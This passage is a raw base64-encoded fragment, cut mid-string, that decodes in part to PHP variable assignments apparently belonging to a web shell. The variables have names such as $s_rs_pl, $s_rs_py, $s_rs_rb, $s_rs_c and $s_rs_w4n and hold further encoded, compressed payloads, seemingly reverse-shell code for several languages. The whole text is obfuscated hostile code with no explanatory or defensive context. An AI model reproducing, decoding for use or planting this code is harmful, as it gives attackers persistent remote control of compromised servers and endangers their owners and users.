2FFd21VaXUzY29ab1VadTdxMzNyUlJObmYxaWk4cHZUOGJMUUJ0VjZxYlRPZENsU0ZrNUY3THIzVm9kTFJoZzNzelcxV1BLSzZ3RGlvcFNzeWJxWGRmUmp1VkMyWm5JQ1d4S3FpNEIvRzJ4eVZqWGJtaHpjWWhZZno1V1pTKzlvSHFQTUpzcllWV2haUEF5dHN0dVZjT1BZeTUwYTNRUGprTk9Tb3BVVmJqcFo3VDFFM2JDT0hjUHF0VFNqTUN1ZkN5NmlyZktiaHNrVzhQbW1YYXJaVkVjdlY4WFJ5QmNYdEVobUZONWQzTnhCN1dvSzdtMWxOUzViaW5BSXlGWldJNmRTbmp6czZRSS9jWEJ2UGVPRSsyck5qTmZzckR6dlRjQjhORDVOZk04VmkyZS9aQjU2dHJnY201ZWNjQjVWZGlmU29JSzYzU2pia3NNK2M3cEs4SUFuNUYwNllZWHZ3MDI4LzJnSzhZWmphYktHTldUbWRLN0J6L05SRGJpY2QyNXdCMjVpbXpUbFMxRlZxK2lHd0JZVkNkUTFWTmxwdFVhRG9WZDd6TFRKSGJZRGRWSjJ6YXBpMjJSblZCWHZHYXo1SHczaVdVdmpHb1pMbk9kYmpXbWpMVnNiWVdHMXhsaXkxZTFvYTVxZXNKamFXL1oyVjFVSVBEL3o1cU9wakZQTGNrOXA5VFJhM1ZueUdZV3hxNW9zd0JIdFRIMHluSUZKeDlvbjZsbkc2VTJMOTFTNURnTlZLbTdIb2NOTVBha0V0U0NtWkt1OGIzY0s3Vnk5dVpwZUwzdDY2OVV4UFJ1ZHlwTzRBTFBvdWJScWxEM21XanBOSjJ2cFYza1JZb2M5cXRZV3oyRTVidytjMU5RMTNsa0dZdTZTZXQ2WlFSVm00czRzVnIzbVhSU0drcVRpVXFNNjkxZnFtUFpXeTlwM1Y1ZGFEbEhkTm10V2RWblc5clNlV2lqRGZENm9uQnhQdUpSWmkzcFd2amxTcHc1cE13WkZxd2JHclhXand1RmxGNGpsWlNuUGpRY0hzNit6aW5yQjlmNFJWNWZvUjFXemxadEZWWE54T3RzMGR1dzhYT0ZHRHY0dW9pbHlhVFhqOUVqU0ZFb05uZExpMFdReXloYXArcWlWUFRUaUgzbVZjb2tkYTNqSU4wckxlVlk3enF2ajJYZHNGUjFXVzdVSE9vcTd1OWpwY2xNV05oaWJ6UllMaldHejA1OWlTMmZ0OTJWamJtL0FlRkNiRHU5c0VlOHlUbnZUSEN5eTh0NHRCRmhEL3dGTzBqSHhKR3NDUEJlUVpCa0xGSEpmNVlEMXdPUnRPaWRLUFgrSDhBcHpLZFJqL3YySnNSY2NqYk5sWGNNVWFZSk4xVEw2emk5LzVqMnlKcVl3RUpuOHN3aHNXZ0VxYkY1dG1qOW54Q0dqZzNRN0ozaFNud1RkVE1xUWpIekJpSThLOGV3QVRiUWwrSURqQVo4bldVZ3F6R2ZpeXpQRDgvUVJNM2tIVTJDWndoZVBZOGxvbkNKeitvZHA3S3haRTRDQzZEOUZQV2xMc3ZVc21VQkloYU12dzE5bnd3eCtOdUFBc2VDZFRMYVl3SFpNRFJNWXhRSXZvOUxCNzBEaEp3QS9uVVhEeHBtVEEzbFFxcWU5SlRkNDkyZkZCdUsvL2Z6VHR5dGp5OVpYeGpRWlB3a3QvZFhXdjlyQUNnd1dyVXlPYUJvZ0VHZmQ2bW9mQU0rYVByTk5XUk9mT1VaUnJsZGhsVTJGU296V2d3VllGVEg5a2tqOTR0bW1BemVFR3R5S1J2M0ErdDNCUEhnKzhPT3pLOG1jRkhES1l2L2VGdTFHV001YUlUVTF5ZVN3bXgwaGFBUVFPYjZHU0FDUGhKZ0lOZ2FpbjBJY0lHMmZVcCs1WlIzMmdTSEQ4MEFJUXBNeDR2elhJSHJ5MFhHWlFOV1BJQmszK3gxMUZQZTBrUXVCeGhmVFR0SU9wbTBVVk82bnk2QmtPaW51TlZBbVZDNWEzdzB0OTk1L1lyWVY0Y00rMlhvRzM0THNhOVpuOHN2TDU1UVlqbEJmUWxlSVdieXVVc2xHbXNicmNDZ1dEK2pScHVETFU4UTQ4K1c4aFpnbzB2ZHU2djV2MmZHQ0dUR3dNRFNTMW5hR1ZyMFN6bFFxNFVRS1l5cG45M0l6RXhpd0JXTTNaQjVnUTFjUGRYeGw4cVA2d08xQjVJRDBzcEQ2WlkwSG9raElKNHFSZGdGbzhLbENRaDZ1WHRZTXgwZUtlWWoxZ3F1RWttUTFwR2lIQUVlbHpzc0RUb3k2TkkwbHpnSytuUThlSUFhNjM0ajZRS01vRkxyVGlyVXFEelNpcVBFdHRLb2xzS3BzSjgrK0hLaXgyUWVlK2V6MkhCTlpvbmVpT1BFamk3T2RQWFRkcEpKbXoraW83VDg2djhNbmxWUUs1ekR1Yk5tK0FwaWlHMUtFUTFlVTBIUU5KRjc1dU1JK3VzSSt1TUpDN2ZkdnNsRXdIRXQ4VFR4VUtacUNlT1FjSzdETXpVaTZVVlJnRm5wem5hd3FUaEcvUWRGWTA5K3VyZGd1dVVuOVRsTjg1b0JxU1psUGNvemVrRGVtOWZPbWZ0RlRtSWVXQnF2M0VhWWdTT1lEekxDUGkvREVWK1RjY2JqaytOQ3RPUjdTY3l1ZkRUTTJWckdYOENRSG9ENFl6bTBRTVV3bUwyeTVpRXNzc0N5Z0NOR2dDbXhKUml3VGhtN1o0VTNVMEg4Smc4blpCK1IwUWxkdURjYnlCTnhzUkhjOXkvRUoxSXhRYU5VdU1rdUNvV2NuMGdsWGltb3BRdWswdkJmdUJQOEdSS2ZFcTBWMnJxVmp2OEJmMlpmRjQ3T1ozOFV3S1Q2NTc4Ri9ZY1lLeU9GUnZWckJQak9HQVRTK0xza0tOSG9FaWp2STNRTkJMRkZJMW9DYmR0cEtjYWxPNDFGZ3B6Q1k0eEtTelBOQUN4NDg1VklCbi9qTXRSUW1QeU5iUTZJdEdqMzRzU09qT0VHdzR3WnROSTRxZ1hPZ2dXTVdHZ3Zvd0ZuV0hKMjVuZmtaVFdneUttemdjRnpZaEVCZUNGYzNNdGJEM1IzMFByTGR4WU9nM1dVTjZuUHQrMUFmTzg0b3M2dUtVMnhUR01zMWh2dm1sS0NjZkg2RTZ5Y1E3SU5UK1UzTnlqcUM4RWpUQktTSzdZM0l6cjFFbXJ6SExBazJDZzE3TnBYUjVPdzlCUHU2UzFqcnRWd1l1elZGWi80a0t6RmhhWVErQkZuaUo0OEUyOURkWUNFRytBaUtUeFh5anBVa0JNVlh2QUh6MmZZUzhMN0NlNEY2QnRIaElSWHZxTVlORzU1WTBLOGhMMVFNUHlmTlMra0Rqczk3dU5kaDJWU3BVRkdaZHhuSkY1aUhTdmNEYVV6cVByVzlpcHdqTDZISytzN21rZ1pqV3FBRHZjRk94Wmt1d1BNL09RVXdnZktwRnl0T0xsMThKNWhhd1lmMlYrMmx5TkJvNGdVaStrZTZiT25vcS9iK29lUDFOU1FzU1g1aHVCRFVuT2kyTmtDMjRKVnVBT2VRQ0tiNUFMS0JncENETDF2QlNxaFBCOG9EeVdRNHU0ZWZCNktKTkVYNU85WXJJcVFLUVVoT0UyaUcwbUtVZlEreUQ4Z2ZXenJDN2dOZUZKVVNKSlhKaXZLRllxbGNyZFViZERNT3BvQUJZbTRHTzc4MWhZTjJEbllKTUJiQjgyN3UzdVVUc3BoT3hHSEFSRG5VMzJLQWJjMUJlNWs2b2VjZk1vNmRTVVBxcTZLZUFoc25KQVd2WUZIekpwNGVXcGNZRXdIeUFqTzBDc1lSU0Fxekc1eEMwaGhWU0phemJxZ20vSG5SdXZNLy8zaWxxUGQvOXVyMGwwQ2RpMDRmQjdRZmYwVHdlWTJnSUxtSmFpQTBnT3dUL0JHNExEMnZIRC9IOHZDaVVya2VTeXp3a3g0RVphejV3dzc0ZXc4RXcrOEN5dnVvdStnbXpKS2h5MWVDdzRVNGhqaDdLeUtIQ0VRaStSRXdMa0VyampvaHVyOWtmZWxFVFdwUUZjWTkwRHVGK3hlRTdpRDNZN0NGRUlqbmQyZVR6UFA1SXF4RnNZMmVOYVFzZ0hoR0NUQzErVlNoVXI5NE4wdkljYVQ3RVBrTnJBS0VNRnVsSHVqKzlZRThHT3d2NDgwdWVVYkNjV2dVSEF0dVI0U1hlR3Ftc1RPTHllZjdYdkhiK1FqK285Ni9rN3Z6cWhFNGRNRFkwck9nZVByaTJJaHN5Q1FFRG1JU0tSMDNPNVBtZ3Bwd1BFVE5GVG1aRDRmNFl1OFJFdWkvUkxReFlGN0ozY0xMYlc0S0VmUDMyYVV3cURxRWlXUWxJVEkrazhDQ3lyUUNXeUxOZjM4Q1daVHNEeXpzMUZpWW81U0IrWjdWWTEzZ2ZxQU1EN04wUjUxeC94Qkk4anhwZThiOVRPTFRPeWdJV1FLSklpQzhZQ1FHZXEzY24yejdBZ1FwbTdHZENJdnhZd1hkME1XeElCNCtRbWdRMVBpMk1mQTFxUkhWOVFYUEo1QzlGWE9qSDNrcDBnMFBvT1BLWmRERWVhM2lwb2dydVlkYmQ3cHVVeUEvMUZjNXlQZk9YUnY4ZEhQcUljOXVlbFVOZm5jUXVJNHFMbFNSSjBHY1p4dWFQZ25Vb2VFNmpLSWJlUGNsdUQ5c2hoS0k5UlZsNktqSGR4MmdOQlJzaXdvSlFMbzZwZCtwSkN5Z3MyN215NmNvRkRmejRYUGNaNlBZUmN1aVdDWTV0MTVYRE1NaEhURHVCK2wzeEhrS2pRUm9MMUU5dUoyekhmckRoNVVzRmxqeFBCakVUMUFFYXU5WFJjb3NsTkZFY0VNTktadVJGbVlhK3QyWlJDMU1mQXlIc0FuRGQxajdhYyt2VmhsQngxMjgyNjNEY3pBTlo3K0Z2d0xyMkJSdVVTR1VBTjNUVmFPMndTTVRxVnZhOTZRUi9lZzNOK2VMdVlzaDB3MVZOakpuVDBaczdObVpVN0QvS012SHJRRGFnQ1laTWprb0paZnRoSFpFTGZzVnJvTWQ5RzJlOGpEem1kTVZoVEVza0VUeHV6d1lhL29XN0FaNlRVQnIvTjYwaWp3ZCtjZ2pGN3FVTmEvaVRvenREaTBUNldHSitOb1FUUXllZlRvMHhJVFh5aGZYdmhhdXltbWYvL0hwQy83cGsybXZ0Uk5nQ1lTM1JKS2FIK3RvLzYyNDlGZEVkWGt0ZzEyRDNBMWVwOFhMSnJyZ1BOYWE3cEFIOVhKNlh0Y3JCRmtCamlmYzkvM2NCTGc5NW1QelkrTnhyT2U5SFhONE00WW1DYUxPRGV4OGprMUJiUU5sQUk4Y0orbWh3R1RCM0lRNWlGL1FyVG4xSC94RW5kOFRvS3lCK2ZZekdUOTVnbmFRcDhlSEI5TVVWRFhTK1BicGlZRTRLWVR5cTAzZ3dBUmZ6eTE5NDI2b1pPZnc5YVRyTnFQRUM2aWRRVTN5SXQzd25GWjR1eU5OWTF6aWdadTI1NDMvUThrb2RmeUJmdmZULzBPSVJEQy9ZWHJWdFVUMnZFUE1GV0FRWHJEWFJvVHA5QzJJSlkvMzlRSURvRTZnUzV5c0JQWUJTK0FjbnNEUTN6OExTOW9mcmVuUWJqQWs0ZnFmWklLSW8rbzVmK0JNaTl0RUVOZGd1MWJaT0k2empwNkFvbkk2Mmh0K0luUVdIMlpsZlMvRDZCMEpyeVR3NEJCUHZDUTVGYVdvcnZyMTlKRSs1T1JkRWJkL2hkdzNFa015S0JCWUhBTWpZZmo4SzNGYzlEWVl5dzFSdXZHdE5odlVVM21FbjA0ZkNjTGUvbUdOZFhrbDk3K3dxdWRLbjgvbDM2ci9sbWhpRi9iNDE3M25IdVd1VndVY2tzaGRSYzByYnRmd04vYnlIMGdRZnhUVGYrWmkvUnpmcndNejVJTjBDZWxnNytFQjVmQ0Fnbnp6OGgxRklmUDJFSzlPT1plOFA4Yi9xd2ZKYytodEhpSjloakVlSWliVHRjOHkvd1c5THFhOFlNQXpaQk5ZbGJua3BER1N3cnF3ZDFYS1JSSWp5US8yTHVXNkJ2T1greEFKMjdwM1hIcEs0ek5oRlg0cEdIa0hIWEgwT3RwZ1JMQVpDUUtzUk1PYU9TQkc3dXpPRFdjdVkzM3dOMGRMSDZWOWdjQTJKL0hQck03N3orR3EzV3VFeU9OaHkxdDVhNXhlTnNnekZtUVFEamlJZkdFRC9xTU5RWFJMUWZPNVRMby8vWjM3V3ZhZGJZMTEvTkdkWHNudXdaZXZwaUMyV1BFWWwwR2hQWmRWMkVQUDVIaGhHbS9ONnNNZFlWNWRuaFVhUU45VkdNZjNkd2hiTXdtNkY4NENPdlkraUJKY3JlRnpUR095aGdKTmhueWlDR0kwV1hvOU5oRzlJTGtlUkhUNjRXSUdYUDhTWHpmQWFJRUtNTTFTTlJIZE1xVmpjWUVPbDZOZSt2MG5BWG1ISzhQYlUzeGpiS0QyM3lxUmR0alYxaUt6c2RHT2dxNjVveTFHNGZQM1JJT2kyRG1ORElLV3ZqcnIxSWRhbWs2ejFYRDl4MTdvSFAxbzhLcU5neGFWVFFEdW1BeTV4eDA0QTZzS0hBWmFIR05mWGpYb1ppaGRNUXZXcVl5WEREUG5sY0gxQVhIZVRaTkY4NmZyOU1DbG9saW9Nbys2amxOa09Qb2EzM3RpM096NVVqQVRPQVpldDhwZEU0QUsrZkI4b25hMHpVOGZiUmVERFMrZWNLc2tNMmxQSHlVVEl6aTlKR3c1L1VEeklVNjBveGQrYllES0JWOGUrTlNFYlZwSTR2dUZHUWREWFdBbEVUUndtQlpFNVBUWmdKYjgvQ1Z4dmtPOGZIWGdsbkdPUkl4VnhoUmw3UVBpa240a3lxY1pjd1RRbCt1Rm9hcElrbjlpM1JPWDRIUUx2anVSZVdaQlgySzM4TUJFYTJYNlcrSWR6cms4LzNleGRMVG51THNFeWZETzRGRlNmaXVtRTU4clhXZVY1SDUzT3RlOFlZc09PKzdER1hReEptc1dNTzBxdnVQdFBzUUtiQ0NTNGZCYUZhNDJLRUNBNUJNdThwOEpuUHdGT05oNGF2OVRMSTVzaXBqS20wYjc5K0xtVnZML09uUytadWpmNGg3aURlUG5JL3JmY0xIL2NqUkY2dmJKZDgrYTEzeXNaemphTHZXQy9mcnB2d0U9IjsNCiRzX3JzX3BsID0ibFpMeGppTXdHSVovWHYrS3l2VWFTTGhqODB4TVZsbGNHSnJsdkxIUW5jWXVKUXcrQnpsR0M1b3B6RzcrN2JiSU8xSXhVWDdxOS9iTDh6WlBPSHY0b0l2MWE1U2xBK1VYWEVGZDJET2NTVm1KczVNa1BJWExMNWZiQTR1VHZuTXFab1A2L05uZGhjNGdLQngwTHdEUGcvR1k4NVFPSkVXRUNpZDhDdFJCWkt1Qit1clhFcS84OE1iZFNlaG9kTWxHN21CTmwzOW1lOG1BdHZjcXBFYS95UEJGYmxDVWZ6WTZlUHZPKzFyU29EMjB0SE12M0dGTG96dkh6clZCanVoSWR3M3lxcm5rbWE5bHZBTnpJSk5xWUZFa210NVl6T3V2WDBYemhiK3kreXp3cjRPYUN2b3BqVWFrOWZDUWltQjFUZFhMMWZqZXI1M09yQVBxa2MybDV2d3cvRWhSVHVEVUtGaXBGZ3Y1UkpxNDFDeUlRditXK2RQWkxMUkg0dEpUcjAvVmp0ZU8wN1NPOHRJa2xUNmZlSTYyM25odm5ScDdSU3VrbEdyN3FoUEdTUUtxeHJPWjZSUXJuR2Niald2YzNNWmpuUEN5aEVSQzM0dU41ZWpvNUFVbFpxdlpmR0ViTC9xNVFSK0R1SFpsR2lOM3UyZGhtZUE1N0NIQnkzbXBQNG11QU5PemVNOEQrb1hRN01lZzNKNkpNMTBHbDBzOHBBZ2RFUlQ0WlBUcG4wWko2a2VqWnNyZHZBUVp4WklyWDZsSEJ1bmRvNnlTdkhQZG1sQU9TZHlKR2Fvc283U1pyYlpKbnhrV2ZVeDFiOWEyRjE1anZpdjdMYUdOSmpoMmIxYmU1dWlJZlQ4QSI7DQokc19yc19weSA9ICJsVlJ0VDlzd0VQZWMvSXBncG1HcncxR0YxVkpaSzRFSUU5cUFxM2EwRDhDcTZMa21FMWx0YVNlVWZ6ODdTVjlBVEc0cVd2NTU1b3ZPZCtmOXZXNHBWVFFyNVFUOEtaQXZwaERjb3c4S1llVDNSeEVUR2RCYzRMd0N5c1E0a3RIcytPdkp1ZUUzMksyNHY2eEkyVXlnSU5UTG1WU0NnZDFoMEtGK3NWL0JIc0dFcGx5QUxhT0UvTUw5WkRBUDFtZk1TTi9vbkUrODkxVkRJWUZqRnRZbThVUXRiV1NUNDFWaVpYUTZUQndNU3IwSGwvd3RTbnhQZ1ZrcUhqNFVOaEdwZ2pURHBMT0diTFFkMUNFTkpuaU5OYVdtRkx6aFc4dUQyU2xQRjdBWElhZVFoYnhpek80OHJJQUxlK0ZpVm0vTE43REFDRmI2OVV5UzBYVzhNcUFXcDhOeE56N3VOUHg5TVRndWJiVVdPcTBiMkl2Z3NBeStmVVlkYlJTNWt3dUtCcnRDYnl2WlBGQnBjTm1mQ2lzZWNEZmxKTSsybC9yMGxHV2xnRG9oN2xIdnhQSHlZTVZBbWtZclVlNnJySW80M2Nwc0NWNFJ3VkVENUxOWUFkV1FLbFpneExMN0FOLzkzZGNQSFlKQ0ZjZXJOTmZPdU9yN3o1MDJPVDhiSmVSeHN1Rm1iWVRhM21ScUNscnFyRlJ1Um5NbGxoSm9DVm5iM0F0anhSdGxxN09OQVo3aGRUOTE1RXYxT3J2UnFPZEprWmFrU3hPa1BLc3JzdjlkVFcwMkovbWJJRUU3RnA1cGxacDNyb1A2TnpPRDdqbnFXSklpR1Bic3hnTU5rSi9IdHNrMFZmbVRvOWljVDNLdWkwWWV6MytlRHppVU8vanhGdmNLNS8xY28zMUhWV2xzM1hZL1NtZXdKTGVPbTdXaHpZRmJlNXh5NW5XVFROcWQyM1BiOHgvVDhXU1VuRjZiRjYzWWNRMmhOL2JqYWk5VFo3VHJNaDBsdjhiSmFjWEZLTFFab2lEVzZFaWdoakVlMnZVSGhkTGR0cVpWMVU1WnV5K3ZQRndpYnRBQ2F6bkJPVENEY2RGdWJJZk1MVDdWRllCMG9wM212YmRCbm1lMWcrckhwWGtmZ243UXgyYk1Oc0E2YmRQb0Q4eFJab2RnYXZYVnhHLzlIWFA3eEtRa3RnNmtqNDcrRi9IM1I4VFoveEgvd1B4ZHUyenVmd0U9IjsNCiRzX3JzX3JiID0gInRWWnJiOXNhRlA2TS9RcVd5U3ByYzFTbWV6RE1tV0wwc1F1RlZ0UkkwdzZEbFJVYWRXMFJrVW1OcE8yVVNmYmJ4aWNjMzcxVEROaDJHSlQzUGJ4UG9tUHZQY3AxSmJNSnV4bnd6NjRha3kvUkhxZTBidFFneWVnMklaMEpNMXNocFdLNU5kbmszeCs1WFJ5cUMzMmU0eVQ4NlRJSk9GMUNYMkNPYndYTldGZDhQSWN1NGtxWVl0WFNDeFVoQ2JxVkhKOSs1UEhIcDlHdno4OTV2enQ5bWlaNHc1bFlRVDJmMTZyNnVybDFNSGl0dm9QR1p1c3VHV3Jad21BZXJoVkV3RXR2VWNLdXRraWVTc3ZFV003Tkg0RWF4MStaNFJVM21kSnFHSlJHT3dyeHBCd1dUcHBhQmxJdFBwblFyR0Y3b0VXS2RRVWN5NnltTTlWTzVsbVJaWDZTRkNUQkRoYlNrRHUxYytqaWVTKy9wVFh3bTE3eS9DakNabG5SeHlmbitkL1pueCtmSFBpdWZuWFUvL2ltUHhzYStSMzNZUTF5RnhESndBU3JvUm1WbjcwY3ZRZmlHMVNMa2lCK2t6Z056VlVlcGhRMURlUnBJeG5YbUxoM1lOY05QTUJVY0FpVVE2bHd1bkFUbURIM24zd3lnWEtoUXkvd3lwcm02RjFCclFuaEU0aFd6cyswUitDeUVWTGpzaTlQbysxWEczVDg1UFQrS0krTC9kSHZydXFUK0RqMmpmRFlvU1ZWdVVPRzRpK0t4OStVM0RoeGE2Ty9rLzdVZnBLbE43Q05YWFhkcGJmc01VbEpja0JPeUJwcVVabE91OXJFUGdPOW5wQmRjc3dVWUpCU3lCZFNhT1JyYXV5U1FTR0grOWtHUGxTblRta2xpa2E1RTdJQkNUQnJoaVl1L1Raald5RmE2WGtkNzJpQlpxd2Z4dWtvdlBORWRvVkxNejlVQy9sbGFLM1RuV2p2WTZtZzVpQ3ZtRFQ1ajVXN2dQWXk3OUk5ckNOTFM3VUtaUzJXZ3p2THRDNnBYZWNISm9RZi9EOU5DbzExNXZNM2JVUUR2RmZvNFNUSjZUVVQ2aTZpSjR6YmxBZkV6T1hCaHErYjdjZWFoUGE2YlBXOTVpMWcxSHQ3N3dvaUw1a0YzR3JsYlFZcXBiVll5VWpsbk5WUlo4dm9jSW9ZbmpxQ29FRnN4dEVtdFIwYjFaVzd0ZU56dzdHYWdDRWdUNzQ1OGR5UGhhNTh2MXZxeHJFNVVnL2dPT1FKRHFFNjFrTUlUUTZmT2taRDZ0by9UV1MyeWF3WjlPMUZNc3FPc0pRbkxDTkI5aUNVNHg5dFlTWVVpS3RVaUdSMk4vR2c3dEFXbWtIZHVWVkdDY0k2OHZBNDZ6M283a3pZNjVVckp0Z2RSVGZJbWE3WE5mL0dPUVRrdDNsVURpek9OMWRoOTZ2dU03QjZ1RkNZTmgzbG56UHppQ1lNaGZIeWsrZkFWdklQIjsNCiRzX3JzX2pzID0gIm5WSEwxc013RUR3cmtIOHd2bDRHVklJbVVFaklxWi9RWS9yQWtUNVdxQ3lpa3B3VVF2ZTlrM3lrNWJTbGFBZmhvWm1kb1phbE5PSE9OWFpPS2RNbGtFcnJTZ0poM3FZTlhVOGZaMzlvbDJPVWREejFGNDF4VGJGVHlUSXg4TkVLQXpoalhNanlyVEcxZ2JWWlQ0SmgwWkVWM0hPcUQ3TzhoZXd6VU5UbjFKY2lFWmhXVmszdTFOV2xJcVZYQ1pOaVNrYlhRbEhMTXUrSUQ1ZW5JWTBzb0UxYm10U0ZZeHpUNmk2bjRUei9ybU42UzVBVFFsb1NTUjFtYW5ya0tCSENUalQ4RVFtcWNueWluT2I3OFFnRlB2ZGt2eGhoZm4ySFRhQ2FZUENtVmN3SnJiQ05QR1RKemdnSE9JYUc5M29uWVVjRnpFSGlyTkt3Vk5KL29XcDVPSnFKSS8wY3RpeFlWd3BGRE40YUJweGZRN3A2eEhkUHk4SVZlNVF1VFlKRG5PK1AwOFIyY2JoVkJtTUdsdjlWZGh6ZXBocDZMeWRTV0FjcU9yYWVmd25Kd29nRTBrSnk3Zi9zaUwrOThQK3hjelJZb2V0TXVrVlgweWpvbzBPZ295ZUFmckE1RGZRY0RUUWJEWFBpOEFVPSI7DQokc19yc19jID0gInJWSmhiOTJ3RVAwTXY4SmpVK3RRRnhQMTFWSnBLcUZDSmJRVkVHUzFwZzZGd1RIRXFyR2phRXpRcWY5OXRoTVlZZHFrU2YwUWk1N2Q4enY3bzNFbVNMWE82QW9HUkMxMHRaSnl4V21MeURYTzhPTHF3L1hUcFUycGl4ZzBjZjB0RXVSdkVncDNsVWVZYktWb0ZTaG5ZbldLSlp3dFRyQ2R3bnFYVWZVbnJDUmkycnFLQ2VxWitUQVRWWHdqbUZHb0dCTTFyR01tMkFvNGZFVVFTNU1jTkVvdXU5dmMrNm12YVlKQ0JNbkE3OVpyaXFJYllnRFRMRWVTUEdJQ01BT3pKYlNIZ2VCamo5UllTekVSTDVNNnU3M2c5eEFOUnVPdzU4QXptNXNnNlZJMkdHdkoyT3Zsenpvdk44VnF0aVQ3T1MxSHc2R3ZvaTlHdmRGWFI2TkI4VmlZcXFQWitQaWpOQTNuZzl1ajFoY1VxNDZIWmgycVUvdVVXWXBqUnRQQmk5bkFlcUV6NFJSN3BuSUpaZGwvQ2Q4MmphZVpoMlhNZzJuRUNNQ1RsdU9tZDhaUTUrc1hMR3VHUzJYaHZYY3BDV0pDcU92Y1BsekhlQkRVY0hzQm9GZUFHMENrRUpSMm1ud1hEZFNpTHJuSkozc1liNFh4amlOT0lia3pUZDV3UWJkYXBDQWNUQitEcjFiaTNqM1orY0hpMzhtWC90Nml0ZXcxeUlTVUFHeDVoRlVLTGxtajNDM1g0a0o0dWlkZWpYSkZ3Y0hPcTk1bzB5ZWs0d3A0WjZpTStabm1jMjhnTWF0M3Bya25YUGdYeDhoNStpODdNSnhNcDNOd0hJWG9rN2F2c0J6YVg5MHNOK0draW5uNWJmdHVJaXlUZWorY1ZOWEVQMGk1bzBsVk9QbFMvd1U9IjsNCiRzX3JzX2oxdjEgPSAibFZSTmI5c3dERGFuUVArRGtKTTlaSDFURGRqV0lzT3dZWWNCQTYyc3ZYWEIyTTRNcmRXV0JJbmlRcHIvUGtxV1hYZnRwUWZiRXZsRVBqaVN6bk5XSVJwb201ZENGaUNWV3BjNlpFSW8zY2xYN3plOHZvL3JLcWpyL1B4TU5rWmJaSC9pbG1kU1phKzNucDJVWUxDZG5pbk5xcDFDNFoyN3gwS01QOVlkejg5R3hzMnRSYUFPT1JKZ0xSV3ZJOHdnZ3phQ0toeTdyU3p3dzNQN0F6K1VhNUFDeWR1d2UxZUdyM3NOUHZyMEJnTURjcmNjRENaUHowZTVIVTRQV0VtWFNUNW55R0ZKeHJtUGRHcERmYm41Z3JXeWdFSGNyWllGc3gzVnBJSG5DT2FoWFl4V0J1UzdKVjN4T1ZPd1lhSDdjZnBwdHJ4cS9WSWhFK1NrUEw3TVpKVkd4ZWVTTlNUNDgvdzRaVEhXNEZoa095c1JrdFhrWTRJZTFMQ3ZldWFya3Q3MFlzeFQrTFJ2d1ZGVXlmNTlBSU5TS3dicEVUSlNVWkVXWE56Zlc0ZUF3Z1d3ZjdYVnhvcGp4MExaRFpjcUlmYWtLcWxRYmt2WDQzQXI4K01RY3JkK0pwcUM1SW96bFZTaXE4YkJKZGZKdTNBUW1xd0V2TEgxZ01WRE10WTNVN3lCY1pxaC9xbG9ZTDl4UnVReXFRcllYZStUOFVlcWM1cmxPYzEyOUJtb2ZHT2FuYjVHZ1dOaDFOa2xFNjJwRUFqRmI5Vm1IL1JuaXdsOHBiYUxNNGUwM0Fka1Y1eGQzdWErdnNORW85NWM2MUJLck9iejFSeUJVYmdLY2lwVmhCSnNacmg2UUozQXZydFlkajZaZ0tWaTRxbGNsYXBnVEh5Z0QzYWkzSXdMbzdXM2FXMC8yWGJBLzRjejV5YVpWamhwQ0J0YzArVWc4VUFFMVNac3dPdjBzaFRzdVlHOXpHZHVDMHZweWVlOCtnTnpQOHBQTG00cDUrelFvMlBKbzlhUXprUWpKY0QvVTNqZ3J1NkNhWUEvSHBjMFViQUhrZER3cFBGZlFXclJpRWlqdzFTejVVWnR1MmwwQ1R4ZTkyZzMvVi9GUEdmWXdlY1pYUi9yYWFkbS9mSlJ4dkJleDVha2kvUVAiOw0KJHNfcnNfdzRuID0gIjdWaG9XRlBadGo4cGtFQVNFNFFJU0RzMkM0Z2RSa0NESkFJQ0NoSUJGUXRDR2hoTk16bWhTQXNUVUVPTXhxdUlDZ2VqamdVUmxTcEZjQ2hXSEJzS0tEcjJoUnYxSUJjWVVjOE5JbzUrSzUvN29uL3ZqL2Y1K3JlNjlsbS9WZmIxNS8reDl6cGhHOVVBQ2dBQXRKWmhHQUFxZzE5RUJmaTdrbW5ad0xyMUFMNDNkOSttRWhGZW95WnFLNmNDNHNUQ0JER0REN0lZQTJFUUFwa2NVQ3dWZ0Z3QkdCQTVDZktGYkl1emcxQnZPaU9ESGdnQTJRZ1VZRSt6Q1B0UG9oZUE0TUloa051QXFGVklXaFlCZ0hyZnpJU0ZNOVZOdTg0dmRTTm1lditOU21kNHZwcTZCTTcycE45eDBoOFgyYzZIUVFEL3U3U1dIM29lYXVmMkR3VWgvNzEvUFYyL3QvOHN1N2Y2ei9xN0gvV3JuL3Z2NHkzYzhTSC96MS9CdzluVjFvcHlHdUk1VXA5cW5QUkpqb2xyUXh1YkFNUUdXZy90cWRnNGdQRFdPQmg1cW9nbkg4QVdqVEMyUUJ2Y0VlOG05Z2lXNkJNNFNadXQxRjNldTF3K0JHQklOcWdaVEtwQlkvUnUxSU85cXNDUkYzYWM0Z0QrRUgvS2xsUUUzdHFhWU5GMk9zWURxTldVUDlBNndjOGYwOFdla1N1VllZY1R1VmZrbkFicFNzSjZwYkd0M3VLRXh6bks1NitNWjlTTVlBNGJ6V3VxZlJUMmlWKytiQnhBRmVhS0FOTVVUWE52S3l3bUpxcGhBME1McFdYUGw1OUNGNHI5U2YxeS9NQnFvajBqNmV0QzFvZGV2eEFHVk5BQ0FKaTREVjViVjROL2cyYWZNTVlBQzdYcSsySm8zOGozTGV3Ukx0b0M0bkd5TWhCYmovQTlZTjRRdE5SWHBTcytNV1RpMWxXTmhlWDljbXlOU1I1Yy9rUSs0U0Jtd3VUWnhKd0xHTDVHVDdVdnZzaHZremZGTktKcGhlRU52a2Q2elgwUFRYYXA1NDY5MjduaHF1TzlBZ1hlV2hyZFg2OWpxVTFnSVVra1ZFcStOU1RBcUJMTGE0djdZY29wS3lnejZ3bW96dml0UkY4Y1ptbHF6WjJEYVFMUVZPb1h2aW5WdVloNjFWN24wbm1Ba05qdkh1WlF0bnIxYVdERURITWM3M3U2MXpFYXA2T3FMKzcvMmd1ekhUNUZORU5xWUgvWnppMXZqWWtCUzJJamtOTUczVjBHcUZiTlY2SnRJK0NpMFFTcW5lRmpyNTl6bjc1ejk1emNiN1k2Vll1L2ZEbjZXZlBQY1B6ZTk1czRLL2ZPYXJYTWU5Y2R5VS9HVE4wREQ2dEwxMlNLUmxWQmNudVZacG0vdXZXSDR5ZjRKMTliYzJ4SUJMMDB0RWQ0cXZOOEdYcHprSUtjays5bjlucUhvRGQzTHlLRFhCVHc0dFNsMUk3ZlB6MllCM3JVK2JqU1ZEbDluMDNXUG5BYVBkeWdoNi9raHgydzg2MzBIRW5jb3h0REJqQTRYYk41RWhlNzFsZmJVYzFxQUw5d2hVUkNITXlpUGhnL3FERnQzRGF1Ry9LcXorZ1l6Q2s1N0VVcjZldnY2OVl